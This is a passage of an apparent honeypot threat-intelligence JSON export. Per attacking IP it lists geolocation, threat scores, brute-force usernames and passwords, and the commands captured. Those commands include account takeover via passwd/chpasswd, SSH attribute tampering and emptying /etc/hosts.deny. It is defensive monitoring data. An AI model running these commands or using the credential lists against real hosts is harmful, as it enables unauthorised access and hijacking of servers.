        "echo -e \"Server17\\nGT9Trsx5A0i9\\nGT9Trsx5A0i9\"|passwd|bash",
        "echo -e \"Teamspeak9\\n8vy1oo6pxsky\\n8vy1oo6pxsky\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Puebla City",
      "asn": 13999,
      "as_org": "Mega Cable, S.A. de C.V.",
      "threat_score": 35.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.4,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 695,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T08:24:43.898000+00:00",
        "last_seen_30d": "2026-04-19T16:32:40.470000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 567,
        "Suricata": 128
      }
    },
    "171.231.176.28": {
      "attack_count": 469,
      "first_seen": "2026-04-04T10:20:03.794Z",
      "last_seen": "2026-04-04T10:57:19.595Z",
      "sessions": 93,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "support",
        "test",
        "ftp",
        "ubnt",
        "user",
        "ace",
        "auto",
        "belkinstyle",
        "btf",
        "carol",
        "cf1c22",
        "client",
        "config",
        "db2inst2",
        "demo",
        "developer",
        "dubai",
        "ftpuser"
      ],
      "passwords_attempted": [
        "password",
        "0l0ctyQh243O63uD",
        "1234",
        "12345",
        "123456",
        "admin",
        "admin123",
        "0987654321",
        "1111",
        "111111",
        "112233",
        "12345678",
        "1234567890%*()",
        "321start",
        "72ca06",
        "@",
        "abcd1234",
        "ace",
        "admin01",
        "admin1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.2,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 663,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T10:20:03.794000+00:00",
        "last_seen_30d": "2026-04-04T10:58:29.544000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 469,
        "Suricata": 194
      }
    },
    "27.79.40.155": {
      "attack_count": 454,
      "first_seen": "2026-04-01T15:15:48.731Z",
      "last_seen": "2026-04-01T15:41:23.792Z",
      "sessions": 90,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "support",
        "user",
        "ace",
        "admian",
        "anton",
        "ashish",
        "backup",
        "brenda",
        "btf",
        "cisco",
        "config",
        "db2inst2",
        "ftpuser",
        "george",
        "guest1",
        "help",
        "helpdesk",
        "installer"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "password",
        "12345",
        "123456",
        "12345678",
        "P@ssw0rd",
        "abc123",
        "0l0ctyQh243O63uD",
        "123",
        "321start",
        "91482d",
        "abcdefg",
        "ace",
        "admin1",
        "admin123",
        "admin@123",
        "aerohive",
        "alpine",
        "andrew"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 652,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T15:15:48.731000+00:00",
        "last_seen_30d": "2026-04-01T15:42:25.326000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 454,
        "Suricata": 198
      }
    },
    "27.79.6.94": {
      "attack_count": 437,
      "first_seen": "2026-04-10T01:16:18.051Z",
      "last_seen": "2026-04-10T01:43:02.256Z",
      "sessions": 87,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ftp",
        "monitor",
        "test",
        "user",
        "ace",
        "backup",
        "carol",
        "cf1c22",
        "cisco",
        "cpanel",
        "demo",
        "developer",
        "ftpuser",
        "george",
        "geral",
        "guest1",
        "helpdesk",
        "install"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "admin",
        "password",
        "1234",
        "abc123",
        "admin123",
        "0l0ctyQh243O63uD",
        "1111",
        "111111",
        "12345678",
        "72b1bd75ac87852a",
        "91482d",
        "P@ssw0rd",
        "abcdefg",
        "ace",
        "admin01",
        "admin@123",
        "alpine",
        "andrew"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 14.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 627,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T01:16:18.051000+00:00",
        "last_seen_30d": "2026-04-10T01:44:06.025000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 437,
        "Suricata": 190
      }
    },
    "103.182.132.154": {
      "attack_count": 417,
      "first_seen": "2026-04-24T21:15:05.695Z",
      "last_seen": "2026-04-29T14:43:47.116Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "postgres",
        "345gs5662d34",
        "bot",
        "bpadmin",
        "denis",
        "deployer",
        "es",
        "ftpuser",
        "hadoop",
        "john",
        "minecraft",
        "oracle",
        "sammy",
        "server",
        "steam",
        "steam1",
        "steve"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "P@ssw0rd",
        "admin",
        "10021979612335",
        "111111111",
        "123123",
        "1234",
        "12345",
        "123456",
        "1234567890",
        "123qwe",
        "1qaz\"WSX",
        "232323",
        "A1234567891011121314151617181920",
        "Aa112211.",
        "Abcd1#$",
        "DDbb123",
        "Letmein1",
        "Pa$$W0rd"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"bot18\\nILOUON48cgGw\\nILOUON48cgGw\\n\"|passwd",
        "echo \"root:SCfoP4o50rX3\"|chpasswd|bash",
        "echo -e \"bot18\\nILOUON48cgGw\\nILOUON48cgGw\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 149526,
      "as_org": "GITELENET PRIVATE LIMITED",
      "threat_score": 42.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.4,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 551,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T21:15:05.695000+00:00",
        "last_seen_30d": "2026-04-29T14:44:53.700000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 417,
        "Suricata": 134
      }
    },
    "212.88.48.17": {
      "attack_count": 398,
      "first_seen": "2026-04-07T12:34:34.799Z",
      "last_seen": "2026-04-07T13:12:10.499Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "vpn",
        "aceuser",
        "admin",
        "client",
        "deploy",
        "ftpuser",
        "linuxbrew",
        "steam",
        "user",
        "user13"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Q2w#E4r",
        "123!@#",
        "123!@#QWE",
        "123456",
        "2024",
        "6yhn!@#",
        "Ali123",
        "DDaa000",
        "Frappe23!",
        "Huawei_123",
        "P!@ss#w0rd",
        "Pa$$w0rd@2026",
        "Password01",
        "Zg123456",
        "a1b2c3d4",
        "aceuser",
        "admin1234567.",
        "linuxbrew"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:6TOXIQdLHzNa\"|chpasswd|bash",
        "echo \"root:OGaBA36EGiMb\"|chpasswd|bash",
        "echo \"root:e4QFRuELMSDR\"|chpasswd|bash",
        "echo \"vpn123\\nUO6Nv3ZrkutM\\nUO6Nv3ZrkutM\\n\"|passwd",
        "echo -e \"vpn123\\nUO6Nv3ZrkutM\\nUO6Nv3ZrkutM\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Birmingham",
      "asn": 5413,
      "as_org": "Wavenet Limited",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 471,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T12:34:34.799000+00:00",
        "last_seen_30d": "2026-04-07T13:13:13.789000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 398,
        "Suricata": 73
      }
    },
    "190.119.63.98": {
      "attack_count": 361,
      "first_seen": "2026-04-12T10:53:01.342Z",
      "last_seen": "2026-04-27T21:41:07.693Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "user",
        "admin",
        "anas",
        "dspace",
        "frappe",
        "oracle",
        "postgres",
        "system",
        "upload"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1q2w3e4r5t@",
        "1qaz2wsx3edc4rfv5tgb",
        "20261220",
        "A12345678*",
        "AAA1234567890",
        "Aa12345678!",
        "Aa147852",
        "Aa159357",
        "Apple@123",
        "Ax.123456",
        "Cisco123!@#",
        "Mx123456",
        "P@55w0rd",
        "Pu123456",
        "Qazwsx112233@",
        "Root11111111!@#",
        "Root2020",
        "Rootroot123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:VIcmzpzRBLGn\"|chpasswd|bash",
        "echo \"root:mT010jz62Znf\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": "Lima",
      "asn": 12252,
      "as_org": "America Movil Peru S.A.C.",
      "threat_score": 46.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.7,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 473,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T10:53:01.342000+00:00",
        "last_seen_30d": "2026-04-27T21:42:10.262000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 361,
        "Suricata": 112
      }
    },
    "89.126.211.227": {
      "attack_count": 332,
      "first_seen": "2026-04-10T05:19:51.673Z",
      "last_seen": "2026-04-10T06:03:08.543Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "geoserver",
        "huang",
        "mailuser",
        "claude",
        "ftptest",
        "git",
        "oracle",
        "teamspeak",
        "test01",
        "wp-user",
        "www"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "#Admin123",
        "000000",
        "123",
        "123456",
        "12345678",
        "1234567Aa",
        "1Password@",
        "Abc12345.",
        "Admin@234",
        "Qazwsx1@#",
        "Qwe123-",
        "Qwerty123#",
        "Root2021!!",
        "Root@2024",
        "Teamspeak09!",
        "Ubuntu22",
        "claude!@",
        "ftptest123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nAmpsUEG5oHiW\\nAmpsUEG5oHiW\\n\"|passwd",
        "echo \"geoserver\\nEZugJT8CwVrR\\nEZugJT8CwVrR\\n\"|passwd",
        "echo \"mailuser123\\nnpHKI5cnApBM\\nnpHKI5cnApBM\\n\"|passwd",
        "echo -e \"123456\\nAmpsUEG5oHiW\\nAmpsUEG5oHiW\"|passwd|bash",
        "echo -e \"geoserver\\nEZugJT8CwVrR\\nEZugJT8CwVrR\"|passwd|bash",
        "echo -e \"mailuser123\\nnpHKI5cnApBM\\nnpHKI5cnApBM\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": null,
      "asn": 202660,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 13.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 403,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T05:19:51.673000+00:00",
        "last_seen_30d": "2026-04-10T06:04:16.533000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 332,
        "Suricata": 71
      }
    },
    "101.47.156.21": {
      "attack_count": 331,
      "first_seen": "2026-04-04T18:42:33.744Z",
      "last_seen": "2026-04-04T19:41:05.549Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "dev",
        "user04",
        "fernando",
        "git",
        "gitlab-runner",
        "hduser",
        "mike",
        "oracle",
        "sambauser",
        "steam",
        "sysadmin",
        "ubuntu",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "1234567890",
        "Claude2025!@#",
        "P@ssword1!",
        "Qq123456..",
        "Qwerty#2025",
        "Root2018@123",
        "Skemasuprem@890",
        "Test123!",
        "claude27!",
        "dev06!",
        "dev123456",
        "fernando",
        "gitlab-runner1",
        "mike",
        "odoo2025",
        "oracle21!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"dev06!\\noW8cWk9Xw0GM\\noW8cWk9Xw0GM\\n\"|passwd",
        "echo \"root:tuVaT6Q0kqTK\"|chpasswd|bash",
        "echo \"user04\\nPIFDoi0XinRA\\nPIFDoi0XinRA\\n\"|passwd",
        "echo -e \"dev06!\\noW8cWk9Xw0GM\\noW8cWk9Xw0GM\"|passwd|bash",
        "echo -e \"user04\\nPIFDoi0XinRA\\nPIFDoi0XinRA\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 5.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 402,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T18:42:33.744000+00:00",
        "last_seen_30d": "2026-04-04T19:42:11.786000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 71
      }
    },
    "110.38.234.220": {
      "attack_count": 263,
      "first_seen": "2026-04-16T15:20:04.772Z",
      "last_seen": "2026-04-16T16:11:38.512Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "teamspeak",
        "345gs5662d34",
        "james",
        "test",
        "db2inst3",
        "git",
        "iot",
        "maxim",
        "postgres",
        "steam",
        "sumit",
        "ubuntu",
        "user4",
        "yang"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "123456",
        "888888",
        "QWE123@",
        "Qazwsx123321@#",
        "Qwer123456",
        "Qwer123456!",
        "Root4321$",
        "Server@123",
        "Teamspeak",
        "asdfghjkl",
        "casa",
        "db2inst3",
        "james1234",
        "maxim",
        "postgres!2026",
        "qazwsx8888!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Teamspeak\\nWWfrcFitqnvj\\nWWfrcFitqnvj\\n\"|passwd",
        "echo \"james1234\\npUtGI5PjPYpR\\npUtGI5PjPYpR\\n\"|passwd",
        "echo -e \"Teamspeak\\nWWfrcFitqnvj\\nWWfrcFitqnvj\"|passwd|bash",
        "echo -e \"james1234\\npUtGI5PjPYpR\\npUtGI5PjPYpR\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 20.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T15:20:04.772000+00:00",
        "last_seen_30d": "2026-04-16T16:12:48.486000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 67
      }
    },
    "182.253.79.195": {
      "attack_count": 263,
      "first_seen": "2026-04-03T14:49:19.137Z",
      "last_seen": "2026-04-03T15:59:05.826Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftpuser",
        "user",
        "administrator",
        "apache",
        "cftest",
        "cmm",
        "crystal",
        "deploy",
        "git",
        "huawei",
        "oracle",
        "postfix",
        "sammy",
        "server",
        "silvia",
        "ubuntu",
        "wp-user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123321",
        "1234",
        "Huawei12#$",
        "Oracle17",
        "XXxx000",
        "ZZbb112233",
        "ccQQ123123",
        "cftest",
        "cmm123",
        "crystal",
        "passpass",
        "password123",
        "postfix",
        "qazwsx0!",
        "qazwsx2023#",
        "qwer1234",
        "qwerty123456",
        "root2019!@"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"qwer1234\\nJHrXXmD7fqln\\nJHrXXmD7fqln\\n\"|passwd",
        "echo \"qwerty123456\\nrIJ4KZo0D8d8\\nrIJ4KZo0D8d8\\n\"|passwd",
        "echo -e \"qwer1234\\nJHrXXmD7fqln\\nJHrXXmD7fqln\"|passwd|bash",
        "echo -e \"qwerty123456\\nrIJ4KZo0D8d8\\nrIJ4KZo0D8d8\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Denpasar",
      "asn": 17451,
      "as_org": "BIZNET NETWORKS",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 334,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T14:49:19.137000+00:00",
        "last_seen_30d": "2026-04-03T16:00:12.173000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 71
      }
    },
    "72.144.12.31": {
      "attack_count": 262,
      "first_seen": "2026-04-18T21:29:29.077Z",
      "last_seen": "2026-04-18T22:36:25.507Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "ftpuser",
        "test",
        "ubuntu",
        "app",
        "cyber",
        "john",
        "oracle",
        "postgres",
        "proxyuser",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "00local22",
        "1qaz#EDC",
        "Admin@2025",
        "Frappe14!",
        "Huawei@12#$",
        "Oracle4",
        "QWERTYUI12345678",
        "Qazwsx2024@#",
        "Qwer1234",
        "Redhat@123",
        "Xz123456",
        "app@123",
        "changeme",
        "cyber",
        "frappe06!",
        "ftpuser25!",
        "matrimonio",
        "pass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:wZFJoY61vt7t\"|chpasswd|bash",
        "echo \"test27\\nmqTAptBxX1uq\\nmqTAptBxX1uq\\n\"|passwd",
        "echo -e \"test27\\nmqTAptBxX1uq\\nmqTAptBxX1uq\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
